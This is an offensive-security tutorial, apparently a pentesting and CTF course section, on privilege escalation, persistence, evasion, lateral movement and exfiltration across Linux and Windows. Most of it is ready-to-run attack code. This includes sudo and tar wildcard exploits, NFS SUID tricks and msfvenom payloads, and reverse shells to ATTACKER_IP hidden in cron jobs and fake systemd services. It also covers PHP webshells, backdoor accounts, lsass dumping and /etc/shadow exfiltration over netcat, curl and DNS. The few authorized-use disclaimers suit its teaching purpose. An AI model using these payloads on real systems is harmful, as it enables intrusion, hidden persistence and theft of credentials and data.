# And the script uses relative commands like 'tar' instead of '/usr/bin/tar':
echo '#!/bin/bash' > /tmp/tar
echo 'bash -p' >> /tmp/tar
chmod +x /tmp/tar
export PATH=/tmp:$PATH
sudo /opt/scripts/backup.sh # Runs YOUR 'tar' as root!
A heap-based buffer overflow in sudo versions 1.8.2 through 1.8.31p2 and 1.9.0 through 1.9.5p1. Affects virtually every Linux distribution. Gives instant root from any user — no sudo permissions needed at all.
# Check sudo version
sudo --version
# Vulnerable: 1.8.2 through 1.8.31p2, 1.9.0 through 1.9.5p1
# Quick vulnerability test (doesn't exploit, just checks)
sudoedit -s '\' $(python3 -c 'print("A"*1000)')
# If you get "sudoedit: ..." error → vulnerable
# If you get "usage: ..." → patched
# Exploit: https://github.com/blasty/CVE-2021-3156
# Multiple variants exist for different distros/versions
make
./sudo-hax-me-a-sandwich 0 # Try different offset numbers (0, 1, 2...)
# This is one of the most impactful sudo vulns ever:
# - Works from ANY unprivileged user
# - No sudo permissions required
# - No password needed
# - Just needs vulnerable sudo version
💡 Pro Tip: When you runsudo -land see a binary you don't recognize, always check: 1) GTFOBins, 2)stringson the binary to see if it calls other programs, 3)ltrace/straceto watch its behavior, 4) check if it reads config files you can modify. Custom binaries with SUID or sudo permissions are the most common CTF privesc vector.
When scripts use wildcards (*) in commands, the shell expands them into filenames. If you can create files with names that look like command-line flags, those filenames become arguments to the command. This is one of the sneakiest privilege escalation techniques.
# Consider this cron job running as root:
# cd /var/tmp && tar czf /opt/backup.tar.gz *
# When the shell expands *, it turns into:
# tar czf /opt/backup.tar.gz file1.txt file2.txt --checkpoint=1 --checkpoint-action=exec=sh shell.sh
# Those filenames ARE the arguments!
# tar sees --checkpoint=1 and --checkpoint-action=exec=sh shell.sh
# as legitimate flags — because they ARE flags.
# Scenario: root cron runs: cd /home/user && tar czf /tmp/backup.tar.gz *
# Step 1: Create your payload script
echo '#!/bin/bash' > /home/user/shell.sh
echo 'cp /bin/bash /tmp/rootbash && chmod +s /tmp/rootbash' >> /home/user/shell.sh
chmod +x /home/user/shell.sh
# Step 2: Create the "flag" filenames
# These must be created with quotes or -- to prevent shell interpretation
echo '' > '/home/user/--checkpoint=1'
echo '' > '/home/user/--checkpoint-action=exec=sh shell.sh'
# Step 3: Wait for cron to run (or trigger it)
# When tar expands *, it runs: tar czf /tmp/backup.tar.gz ... --checkpoint=1 --checkpoint-action=exec=sh shell.sh
# This executes shell.sh as root!
# Step 4: Use your SUID bash
/tmp/rootbash -p # Root shell!
# Alternative payload — reverse shell:
echo 'bash -i >& /dev/tcp/ATTACKER_IP/9001 0>&1' > /home/user/shell.sh
# Scenario: root cron runs: cd /var/www && chown -R webuser:webuser *
# chown supports --reference flag
# Create a file owned by you:
touch /var/www/myfile
# Create the wildcard injection:
echo '' > '/var/www/--reference=myfile'
# When chown expands *:
# chown -R webuser:webuser ... --reference=myfile ...
# --reference=myfile makes chown set ownership based on myfile
# If myfile is owned by your user, all files become owned by you!
# Now you own everything in /var/www — including sensitive configs
# Scenario: root cron runs: cd /home/user && rsync -a * backup_server:/backup/
# rsync supports -e flag to specify the remote shell command
echo '' > '/home/user/-e sh shell.sh'
# Create your payload
echo '#!/bin/bash' > /home/user/shell.sh
echo 'cp /bin/bash /tmp/rootbash && chmod +s /tmp/rootbash' >> /home/user/shell.sh
chmod +x /home/user/shell.sh
# When rsync expands *:
# rsync -a ... -e sh shell.sh ... backup_server:/backup/
# This executes shell.sh as root!
💡 Detection Tip: To find wildcard injection opportunities, search for cron jobs that use*with commands liketar,chown,chmod,rsync, orcp. Usecat /etc/crontab,ls /etc/cron.d/, andpspyto discover what's running periodically.
NFS (Network File System) lets Linux machines share directories over the network. When NFS is misconfigured with no_root_squash, a remote attacker can create files as root on the shared filesystem — including SUID binaries that give root on the target.
# Find NFS shares from your attacker machine
showmount -e TARGET_IP
# Example output:
# Export list for TARGET_IP:
# /var/nfs/general *
# /home/backup *(rw,no_root_squash)
# /opt/share 10.10.10.0/24(rw,no_root_squash)
# Key things to look for:
# no_root_squash — ROOT on your machine = ROOT on the NFS share
# rw — read/write access
# * — accessible from any IP
# Check NFS configuration on target (if you have a shell):
cat /etc/exports
# /home/backup *(rw,sync,no_root_squash)
# What is "root squash"?
# By default, NFS "squashes" root — if you're root on your machine
# and access an NFS share, you get mapped to 'nobody' (no privileges).
# no_root_squash DISABLES this protection — root stays root!
# Step 1: Mount the NFS share on your attacker machine (as root)
mkdir /mnt/nfs
mount -t nfs TARGET_IP:/home/backup /mnt/nfs -o nolock
# Step 2: Verify mount
df -h | grep nfs
ls -la /mnt/nfs/
# Step 3: Create a SUID binary (as root on your machine)
# Option A: Copy bash with SUID
cp /bin/bash /mnt/nfs/rootbash
chmod +s /mnt/nfs/rootbash
# Option B: Create a small C program
cat > /mnt/nfs/suid_shell.c << 'EOF'
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
int main() {
setuid(0);
setgid(0);
system("/bin/bash -p");
return 0;
}
EOF
gcc /mnt/nfs/suid_shell.c -o /mnt/nfs/suid_shell
chmod +s /mnt/nfs/suid_shell
chown root:root /mnt/nfs/suid_shell
# Step 4: On the target, execute the SUID binary
# (from your low-priv shell on the target)
/home/backup/rootbash -p # Option A
# or
/home/backup/suid_shell # Option B
whoami # root!
# Step 5: Clean up
umount /mnt/nfs
💡 Pro Tip: NFS misconfigurations are extremely common in enterprise environments and are a staple in OSCP exams. Always runshowmount -eagainst every target. If you findno_root_squash, it's almost always a guaranteed root. Even withoutno_root_squash, writable NFS shares can leak sensitive files — check what's in them.
Windows services run in the background with specific privileges (often SYSTEM). Misconfigurations in how services are set up — paths, permissions, DLL loading — create multiple privilege escalation paths.
When a Windows service has a path with spaces and it's not wrapped in quotes, Windows tries multiple locations to find the executable. You can place a malicious binary at one of those locations.
┌─────────────────────────────────────────────────────────────┐
│ UNQUOTED SERVICE PATH EXPLOITATION │
├─────────────────────────────────────────────────────────────┤
│ │
│ Service path (UNQUOTED): │
│ C:\Program Files\My Custom App\Service\app.exe │
│ │
│ Windows tries these in ORDER: │
│ │
│ 1. C:\Program.exe ← writable? │
│ 2. C:\Program Files\My.exe ← writable? │
│ 3. C:\Program Files\My Custom.exe ← writable? │
│ 4. C:\Program Files\My Custom App\Service\app.exe ← real │
│ │
│ If you can write to any location tried BEFORE the real │
│ one, your payload runs instead — as SYSTEM! │
│ │
│ QUOTED path (safe): │
│ "C:\Program Files\My Custom App\Service\app.exe" │
│ → Windows goes directly to the full path, no guessing │
│ │
└─────────────────────────────────────────────────────────────┘
# Find unquoted service paths
wmic service get name,displayname,pathname,startmode | findstr /i "auto" | findstr /i /v "C:\Windows\\" | findstr /i /v """
# PowerShell version:
Get-WmiObject -Class Win32_Service | Where-Object {
$_.PathName -notlike '"*' -and
$_.PathName -like '* *' -and
$_.PathName -notlike 'C:\Windows\*'
} | Select Name, PathName, StartMode
# Check if you can write to the intermediate path
icacls "C:\Program Files\My Custom App\"
# Look for: (BUILTIN\Users:(W)) or (Everyone:(W))
# accesschk from Sysinternals (more reliable)
accesschk.exe /accepteula -uwdq "C:\Program Files\My Custom App\"
# Exploitation:
# 1. Generate payload:
msfvenom -p windows/x64/shell_reverse_tcp LHOST=YOUR_IP LPORT=4444 -f exe -o My.exe
# 2. Place it: copy My.exe "C:\Program Files\My Custom App\My.exe"
# 3. Restart service: sc stop ServiceName && sc start ServiceName
# 4. Or wait for system reboot if service auto-starts
# Check service permissions with accesschk (Sysinternals)
accesschk.exe /accepteula -uwcqv "Authenticated Users" *
accesschk.exe /accepteula -uwcqv "BUILTIN\Users" *
accesschk.exe /accepteula -uwcqv "Everyone" *
# Look for: SERVICE_ALL_ACCESS or SERVICE_CHANGE_CONFIG
# If you can change config, point the service to your payload:
# Check current config
sc qc VulnerableService
# Change binary path to your payload
sc config VulnerableService binpath= "C:\Temp\reverse_shell.exe"
# Or add a new admin user
sc config VulnerableService binpath= "net localgroup administrators hacker /add"
# Restart the service
sc stop VulnerableService
sc start VulnerableService
# Check service binary permissions directly
icacls "C:\Path\To\service.exe"
# If you have (M)odify or (F)ull access, replace the binary itself!
# Windows DLL search order:
# 1. Application directory
# 2. System directory (C:\Windows\System32)
# 3. 16-bit system directory
# 4. Windows directory
# 5. Current directory
# 6. PATH directories
# If a service loads a DLL that doesn't exist, or you can write
# to a directory checked before the real DLL, you win.
# Find missing DLLs:
# Use Process Monitor (procmon) — filter for:
# Operation: CreateFile
# Result: NAME NOT FOUND
# Path: ends with .dll
# Generate malicious DLL
msfvenom -p windows/x64/shell_reverse_tcp LHOST=YOUR_IP LPORT=4444 -f dll -o hijack.dll
# Or create a simple DLL in C:
# Compile with: x86_64-w64-mingw32-gcc -shared -o hijack.dll hijack.c
/*
#include <windows.h>
BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpReserved) {
if (fdwReason == DLL_PROCESS_ATTACH) {
system("cmd.exe /c net localgroup administrators hacker /add");
}
return TRUE;
}
*/
# Place DLL where the service looks for it
# Restart service: sc stop ServiceName && sc start ServiceName
# Check both registry keys (BOTH must be set to 1)
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
# If both = 0x1, any .msi package installs with SYSTEM privileges!
# Generate malicious MSI
msfvenom -p windows/x64/shell_reverse_tcp LHOST=YOUR_IP LPORT=4444 -f msi -o shell.msi
# Install it (runs as SYSTEM)
msiexec /quiet /qn /i shell.msi
# /quiet = no UI, /qn = no UI at all, /i = install
# Check autorun entries
reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce
reg query HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
reg query HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce
# Check for writable autorun binary paths
# For each path found:
icacls "C:\Path\To\autorun.exe"
# If writable, replace with your payload:
copy /Y payload.exe "C:\Path\To\autorun.exe"
# Payload runs next time a user (or admin) logs in
# Check scheduled tasks too
schtasks /query /fo LIST /v | findstr /i "TaskName\|Task To Run\|Run As User"
# Writable scheduled task binary = same attack vector
You have database credentials but no OS shell? Databases are more powerful than people think. Most major databases can execute OS commands, read/write files, or be leveraged to get a full shell on the underlying server.
# Scenario: You have MySQL root credentials but no OS shell
# Step 1: Connect to MySQL
mysql -u root -p'FoundPassword123' -h TARGET_IP
# Step 2: Check if you can write files
SELECT @@plugin_dir; # Need write access here
SHOW VARIABLES LIKE 'secure_file_priv'; # Empty = no restrictions
# Step 3: UDF exploitation (load a shared library as a MySQL function)
# Get the UDF library from sqlmap or compile one:
# Location: /usr/share/sqlmap/udf/mysql/linux/64/lib_mysqludf_sys.so_
# Upload the UDF library
# (this depends on how you can write files — see below)
# Step 4: Create the function
USE mysql;
CREATE TABLE temp(data LONGBLOB);
INSERT INTO temp VALUES (LOAD_FILE('/path/to/lib_mysqludf_sys.so'));
SELECT data FROM temp INTO DUMPFILE '/usr/lib/mysql/plugin/lib_mysqludf_sys.so';
CREATE FUNCTION sys_exec RETURNS INTEGER SONAME 'lib_mysqludf_sys.so';
# Step 5: Execute commands!
SELECT sys_exec('id');
SELECT sys_exec('bash -c "bash -i >& /dev/tcp/YOUR_IP/9001 0>&1"');
# Alternative: Write a webshell (if web root is known)
SELECT '<?php system($_GET["cmd"]); ?>' INTO OUTFILE '/var/www/html/shell.php';
# Then visit: http://TARGET_IP/shell.php?cmd=id
# MSSQL is the easiest database to get a shell from
# Scenario: You have SA (sysadmin) credentials
# Connect with impacket
impacket-mssqlclient sa:'Password123'@TARGET_IP -windows-auth
# Or sqsh
sqsh -S TARGET_IP -U sa -P 'Password123'
# Enable xp_cmdshell (disabled by default)
EXEC sp_configure 'show advanced options', 1; RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;
# Execute commands as the SQL Server service account
EXEC xp_cmdshell 'whoami';
EXEC xp_cmdshell 'dir C:\Users\';
# Get a reverse shell
EXEC xp_cmdshell 'powershell -nop -c "$c=New-Object System.Net.Sockets.TCPClient(''YOUR_IP'',4444);$s=$c.GetStream();[byte[]]$b=0..65535|%%{0};while(($i=$s.Read($b,0,$b.Length)) -ne 0){$d=(New-Object System.Text.ASCIIEncoding).GetString($b,0,$i);$r=(iex $d 2>&1|Out-String);$sb=([text.encoding]::ASCII).GetBytes($r);$s.Write($sb,0,$sb.Length)}"';
# Read files
EXEC xp_cmdshell 'type C:\Users\Administrator\Desktop\flag.txt';
# Download tools
EXEC xp_cmdshell 'certutil -urlcache -split -f http://YOUR_IP/nc.exe C:\Temp\nc.exe';
# Scenario: You have PostgreSQL superuser credentials
# Connect
psql -h TARGET_IP -U postgres -W
# Read files with COPY
CREATE TABLE readfile(content TEXT);
COPY readfile FROM '/etc/passwd';
SELECT * FROM readfile;
DROP TABLE readfile;
# Write files (webshell, SSH keys, etc.)
COPY (SELECT '<?php system($_GET["cmd"]); ?>') TO '/var/www/html/shell.php';
# Write SSH authorized_keys
COPY (SELECT 'ssh-rsa AAAA... attacker@kali') TO '/var/lib/postgresql/.ssh/authorized_keys';
# Command execution (PostgreSQL 9.3+)
# Using COPY PROGRAM:
COPY (SELECT '') TO PROGRAM 'id';
COPY (SELECT '') TO PROGRAM 'bash -c "bash -i >& /dev/tcp/YOUR_IP/9001 0>&1"';
# Using large objects (older versions):
SELECT lo_import('/etc/passwd');
SELECT lo_get(OID_FROM_ABOVE);
# PostgreSQL Extensions (if you can create them)
CREATE OR REPLACE FUNCTION cmd_exec(text) RETURNS text AS $$
import subprocess
return subprocess.check_output(args, shell=True).decode()
$$ LANGUAGE plpython3u;
SELECT cmd_exec('id');
💡 Pro Tip: Database credentials are everywhere — in config files, environment variables, even in command history. Whenever you find DB creds, don't just dump data. Try to get OS-level access through the database. MSSQL withxp_cmdshellis the easiest. MySQL withINTO OUTFILEfor webshells. PostgreSQL withCOPY TO PROGRAM. This is often the path from "web app compromise" to "full server compromise."
Persistence is about maintaining access after you've gained it. Understanding these techniques is critical for both red teamers (who need to keep access during an engagement) and blue teamers (who need to detect and remove them). Note: These techniques are presented for educational purposes — use them only in authorized penetration tests.
# 1. SSH Authorized Keys (most common, most reliable)
# Add your public key to a user's authorized_keys
mkdir -p /root/.ssh
echo "ssh-rsa AAAA...your_public_key... attacker@kali" >> /root/.ssh/authorized_keys
chmod 700 /root/.ssh
chmod 600 /root/.ssh/authorized_keys
# Now: ssh -i your_private_key root@TARGET_IP
# 2. Cron Job Persistence
# Add a reverse shell that runs every minute
(crontab -l 2>/dev/null; echo "* * * * * bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1'") | crontab -
# Or hide it in a system cron directory
echo '* * * * * root bash -c "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"' > /etc/cron.d/logrotate-check
# 3. Systemd Service (survives reboots, looks legitimate)
cat > /etc/systemd/system/system-update-check.service << 'EOF'
[Unit]
Description=System Update Verification Service
After=network.target
[Service]
Type=simple
ExecStart=/bin/bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1'
Restart=always
RestartSec=60
[Install]
WantedBy=multi-user.target
EOF
systemctl enable system-update-check.service
systemctl start system-update-check.service
# 4. Backdoor User (add a root-level user)
# Method: modify /etc/passwd directly
echo 'sysbackup:$1$xyz$hashed_password:0:0:System Backup:/root:/bin/bash' >> /etc/passwd
# Or use useradd
useradd -ou 0 -g 0 -M -d /root -s /bin/bash sysbackup
echo 'sysbackup:password123' | chpasswd
# 5. Web Shell (if web server exists)
echo '<?php if(isset($_GET["c"])){system($_GET["c"]);} ?>' > /var/www/html/.check.php
# Access: http://TARGET/check.php?c=id
# 6. SUID Backdoor
cp /bin/bash /usr/local/bin/.syscheck
chmod +s /usr/local/bin/.syscheck
# Use: /usr/local/bin/.syscheck -p
# 1. Scheduled Task
schtasks /create /sc MINUTE /mo 1 /tn "SystemHealthCheck" /tr "powershell -nop -w hidden -c IEX(New-Object Net.WebClient).DownloadString('http://ATTACKER_IP/shell.ps1')" /ru SYSTEM
# 2. Registry Run Keys (runs on user login)
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v SystemUpdate /t REG_SZ /d "C:\Temp\payload.exe" /f
# System-wide (runs for ALL users):
reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v SystemUpdate /t REG_SZ /d "C:\Temp\payload.exe" /f
# 3. New Admin User
net user sysbackup Password123! /add
net localgroup Administrators sysbackup /add
# Hide from login screen:
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList" /v sysbackup /t REG_DWORD /d 0 /f
# 4. WMI Event Subscription (advanced, stealthy)
# Creates a permanent event that triggers on boot
# 5. Startup Folder
# Copy payload to: C:\Users\username\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\
# 6. Service Creation
sc create SysHealthSvc binpath= "C:\Temp\payload.exe" start= auto
sc start SysHealthSvc
⚠️ Important: Persistence mechanisms should only be deployed during authorized penetration tests with explicit scope and approval. In real engagements, document everything you deploy and remove it during cleanup. Blue teamers: these are the exact techniques you should be hunting for in your environment.
Your exploit works in the lab but gets blocked on the target? Welcome to antivirus evasion. Understanding why payloads get caught (and the basics of bypassing detection) is essential knowledge for any penetration tester. This section covers concepts — not weaponized techniques — to help you understand both sides.
# Detection methods:
#
# 1. SIGNATURE-BASED (traditional AV)
# - AV has a database of known-bad byte patterns
# - msfvenom payloads are in EVERY signature database
# - If your payload matches a known pattern → blocked
# - Easiest to bypass (change the bytes)
#
# 2. HEURISTIC / BEHAVIORAL
# - AV watches WHAT your payload DOES, not what it looks like
# - Opening sockets? Injecting into processes? Modifying registry?
# - Harder to bypass (need to change behavior)
#
# 3. AMSI (Antimalware Scan Interface) — Windows
# - Scans scripts (PowerShell, VBScript, JScript) BEFORE execution
# - Even if the script is in memory only
# - Intercepts at the interpreter level
#
# 4. EDR (Endpoint Detection & Response)
# - Monitors everything: process creation, API calls, network, files
# - Uses behavioral analysis + machine learning
# - Hardest to bypass — beyond beginner scope
# The best way to avoid AV? Don't use malware at all.
# Use tools that are ALREADY on the system (LOLBins)
# Instead of uploading nc.exe for a reverse shell:
powershell -nop -c "$c=New-Object System.Net.Sockets.TCPClient('ATTACKER_IP',4444);..."
# Instead of uploading mimikatz.exe:
# Use comsvcs.dll MiniDump (built into Windows):
rundll32.exe C:\Windows\System32\comsvcs.dll, MiniDump (Get-Process lsass).Id C:\Temp\lsass.dmp full
# Instead of uploading procdump:
# Use Task Manager → Details → lsass.exe → Create dump file
# File download without suspicious tools:
certutil -urlcache -split -f http://URL/file C:\Temp\file
bitsadmin /transfer job http://URL/file C:\Temp\file
# These are all legitimate Windows binaries!
# AV can't block certutil without breaking Windows
# See: https://lolbas-project.github.io/
# Simple encoding (changes signatures, not behavior)
# msfvenom encoding:
msfvenom -p windows/x64/shell_reverse_tcp LHOST=YOUR_IP LPORT=4444 \
-f exe -e x64/zutto_dekiru -i 5 -o encoded_shell.exe
# -e = encoder, -i = iterations
# WARNING: encoded msfvenom payloads are STILL detected by modern AV
# Base64 encoding for PowerShell
$cmd = 'IEX(New-Object Net.WebClient).DownloadString("http://ATTACKER_IP/shell.ps1")'
$bytes = [System.Text.Encoding]::Unicode.GetBytes($cmd)
$encoded = [Convert]::ToBase64String($bytes)
# Run with:
powershell -EncodedCommand $encoded
# AMSI Bypass Concepts (PowerShell)
# AMSI can be patched in memory to stop scanning
# The basic idea: overwrite the AmsiScanBuffer function
# to always return "clean" (AMSI_RESULT_CLEAN)
# Many public bypasses exist — they get signatured quickly
# This is an ongoing cat-and-mouse game
# Key concept: AV evasion is about changing SIGNATURES
# EDR evasion is about changing BEHAVIOR
# In CTFs, you rarely need evasion (no AV on most lab machines)
# In real tests, this is a critical skill
💡 Pro Tip: For OSCP and most CTFs, AV evasion isn't required — the lab machines don't have AV/EDR. Focus on fundamentals first. But when you move to real-world pentesting or certifications like OSEP (Offensive Security Experienced Penetration Tester), evasion becomes essential. Start by understanding LOLBins thoroughly — they're the foundation of every evasion strategy.
You've compromised one machine and harvested credentials. Now use them to move to other machines on the network. Lateral movement is what turns a single compromised host into full network compromise. This section covers the basics — see Phase 5: Active Directory for AD-specific lateral movement.
# SSH with stolen credentials
ssh [email protected] # If you found their password
ssh -i stolen_id_rsa [email protected] # If you found their private key
# SSH key reuse — check known_hosts for targets
cat ~/.ssh/known_hosts # Where has this user connected?
# Try each host with keys you've found
# Proxychains for routing through a compromised host
# If you set up a SOCKS proxy (ssh -D 1080 user@pivot):
proxychains nmap -sT -Pn 10.10.10.0/24
proxychains ssh [email protected]
proxychains curl http://10.10.10.5/
# Port scanning the internal network from the pivot
# On the compromised host:
for port in 22 80 443 445 3389 5985; do
(echo >/dev/tcp/10.10.10.5/$port) 2>/dev/null && echo "Port $port open"
done
# PsExec (Impacket) — execute commands on remote Windows systems
# Requires: admin credentials + SMB access (port 445)
impacket-psexec administrator:'Password123'@10.10.10.5
# Drops you into a SYSTEM shell on the remote machine
# WMIExec — stealthier than PsExec (no service created)
impacket-wmiexec administrator:'Password123'@10.10.10.5
# Uses WMI for execution — fewer forensic artifacts
# SMBExec — uses SMB shares for execution
impacket-smbexec administrator:'Password123'@10.10.10.5
# Evil-WinRM — PowerShell remoting (port 5985/5986)
evil-winrm -i 10.10.10.5 -u administrator -p 'Password123'
# Full PowerShell session on the target
# Can upload/download files easily
# Pass-the-Hash (PTH) — use NTLM hash instead of password
# You don't need to crack the hash!
impacket-psexec [email protected] -hashes :NT_HASH_HERE
impacket-wmiexec [email protected] -hashes :NT_HASH_HERE
evil-winrm -i 10.10.10.5 -u administrator -H NT_HASH_HERE
crackmapexec smb 10.10.10.0/24 -u administrator -H NT_HASH_HERE
# RDP (Remote Desktop) — full GUI access
xfreerdp /v:10.10.10.5 /u:administrator /p:'Password123' /dynamic-resolution
# Or with pass-the-hash (requires restricted admin mode):
xfreerdp /v:10.10.10.5 /u:administrator /pth:NT_HASH_HERE
# CrackMapExec — spray creds across the network
crackmapexec smb 10.10.10.0/24 -u admin -p 'Password123' --shares
crackmapexec smb 10.10.10.0/24 -u admin -p 'Password123' -x 'whoami'
# --shares = list accessible shares
# -x = execute command on all matching hosts
💡 Pro Tip: The lateral movement hierarchy in terms of stealth: WMIExec (stealthiest — no artifacts) > Evil-WinRM (PowerShell remoting) > SMBExec (uses shares) > PsExec (creates a service — most visible). In real engagements, prefer WMIExec. In CTFs, PsExec is fine. For Active Directory environments with Kerberos, see Phase 5.
You found the flag / sensitive data / proof of compromise. Now you need to get it out. In CTFs this is usually trivial (just cat flag.txt), but in real engagements, egress filtering, DLP, and monitoring can make exfiltration challenging.
# From target → attacker
# Method 1: Netcat (simplest)
# On attacker (listener):
nc -lvnp 9002 > received_file
# On target (sender):
nc ATTACKER_IP 9002 < /etc/shadow
# Method 2: curl / wget
# On attacker (start listener):
python3 -m http.server 8888
# Or start a receiver:
python3 -c "
from http.server import HTTPServer, BaseHTTPRequestHandler
import sys
class H(BaseHTTPRequestHandler):
def do_POST(self):
length = int(self.headers['Content-Length'])
data = self.rfile.read(length)
open('received', 'wb').write(data)
self.send_response(200)
self.end_headers()
print(f'Received {length} bytes')
HTTPServer(('0.0.0.0', 8888), H).serve_forever()
"
# On target:
curl -X POST -d @/etc/shadow http://ATTACKER_IP:8888/upload
# Method 3: SCP (if SSH is available)
scp /etc/shadow attacker@ATTACKER_IP:/tmp/shadow
# Method 4: Base64 encode → copy-paste (no network transfer needed!)
base64 -w0 /etc/shadow
# Copy the base64 string, decode on attacker:
echo "base64_string_here" | base64 -d > shadow
# For binary files:
base64 -w0 /path/to/binary > /tmp/b64.txt
cat /tmp/b64.txt # Copy this output
# On attacker:
echo "base64_string" | base64 -d > binary_file
# Standard ports blocked? Try these:
# HTTP/HTTPS (ports 80/443 — almost always allowed)
# On attacker:
python3 -m http.server 80
# Or use a proper C2 over HTTPS
# DNS exfiltration (port 53 — rarely blocked)
# Concept: encode data as DNS queries
# data → hex encode → split into labels → query YOUR_DNS_SERVER
# Simple example (small data):
cat /etc/hostname | xxd -p | while read line; do
nslookup $line.exfil.yourdomain.com YOUR_DNS_SERVER
done
# Tools for DNS exfiltration:
# - dnscat2 (full tunnel over DNS)
# - iodine (IP over DNS tunnel)
# - DNSExfiltrator
# ICMP exfiltration (ping-based)
# Some networks allow ICMP but block everything else
# Tools: icmpsh, ptunnel
# Steganography (hide data in images)
steghide embed -cf image.jpg -ef secret.txt
# Transfer the image normally — data is hidden inside
# Windows-specific exfiltration
# SMB (if outbound 445 is open):
copy C:\Sensitive\file.txt \\ATTACKER_IP\share\
# Or set up impacket-smbserver on attacker:
impacket-smbserver share /tmp/loot -smb2support
# PowerShell download cradle (uploads too):
Invoke-WebRequest -Uri http://ATTACKER_IP:8888/upload -Method POST -InFile C:\sensitive.txt
💡 Pro Tip: In CTFs, base64 copy-paste is usually sufficient. In real pentests, you'll need to understand what egress is allowed. DNS exfiltration works when almost everything else is blocked because DNS (port 53) is required for basic network functionality. Always check: can you reach your server on port 80? 443? 53? Tailor your exfiltration method to what's allowed.
/var/www/html/wp-config.php:define('DB_PASSWORD', 'Summer2024!');su root), try it for other system users, and try it via SSH on other machines. Database passwords are reused as system passwords more often than you'd think. After testing reuse, then connect to the database for more credentials.xp_cmdshell is MSSQL's built-in procedure for executing OS commands. It's disabled by default but can be enabled by sysadmins with sp_configure. LOAD DATA INFILE and INTO OUTFILE are MySQL features. COPY TO PROGRAM is PostgreSQL. Each major database has its own path to OS command execution.INTO OUTFILE and executing commands with COPY TO PROGRAM.tar with *. Practice the full wildcard injection chain — create the malicious filenames and verify execution.Can you explain these without looking them up?
sudo -l and see this output:User sarah may run the following commands on target:
(ALL) NOPASSWD: /usr/bin/findfind with -exec can execute arbitrary commands. Since you can run find as root (NOPASSWD), sudo find . -exec /bin/bash \; -quit spawns a bash shell running as root. GTFOBins documents these exploitation techniques for hundreds of binaries. Always check sudo -l first — it's the most common easy win for privilege escalation.SeImpersonatePrivilege allows a process to impersonate security tokens of other users — including SYSTEM. Service accounts and IIS application pools commonly have this privilege. Tools like PrintSpoofer (Windows 10+), GodPotato (latest/most reliable), and JuicyPotato (older systems) exploit this to escalate from a service account to SYSTEM.python3 -c 'import pty; pty.spawn("/bin/bash")'stty raw -echo; fg on your attacker machineCtrl+Z to background the shellexport TERM=xterm in the upgraded shellstty raw -echo; fg (on attacker) → 4) Set TERM with export TERM=xterm. This gives you tab completion, arrow keys, Ctrl+C that doesn't kill your shell, and proper terminal handling.certutil -urlcache -split -f http://attacker/payload.exe C:\Temp\payload.exe downloads files using the Windows certificate utility. It's a legitimate system tool, so it's often not blocked by security software. Other download LOLBins: bitsadmin, powershell (New-Object Net.WebClient).DownloadFile(), and curl (Windows 10+).cd /home/user && tar czf /tmp/backup.tar.gz * as root. How can you exploit the wildcard (*)?*, filenames that look like command flags are treated as flags. Creating files named --checkpoint=1 and --checkpoint-action=exec=sh shell.sh makes tar execute your script as root. This is a classic cron + wildcard exploitation technique that appears frequently in CTFs.-L) creates a tunnel: traffic to a local port is forwarded through the SSH connection to a destination on the remote network. ssh -L 8080:10.10.10.5:80 user@pivot means "when I visit localhost:8080, send that traffic through the pivot host to 10.10.10.5:80." This is essential for reaching internal services during post-exploitation./.dockerenv exists in Docker containers, /proc/1/cgroup shows "docker" in cgroup paths, and the hostname is typically a random hex string. Running docker ps from inside a container usually fails (Docker CLI isn't installed) unless the Docker socket is mounted — which is itself an escape vector.sudo -l and the output includes env_keep+=LD_PRELOAD. What attack does this enable?LD_PRELOAD forces a shared library to load before all others. If sudo preserves this variable (env_keep+=LD_PRELOAD), you can compile a malicious .so that calls setresuid(0,0,0) and system("/bin/bash -p"). Run sudo LD_PRELOAD=/tmp/shell.so /usr/bin/any_allowed_command — the library executes as root before the actual command runs.no_root_squash disables root squashing — normally, NFS maps remote root to the nobody user for security. With no_root_squash, root on the client stays root on the NFS share. This allows an attacker to mount the share, create a SUID binary as root, and then execute it on the target for instant privilege escalation.HKLM and HKCU AlwaysInstallElevated registry keys are set to 1, any .msi installer package runs with SYSTEM privileges. An attacker can generate a malicious MSI with msfvenom -p windows/x64/shell_reverse_tcp ... -f msi and install it with msiexec /quiet /qn /i shell.msi for instant SYSTEM access.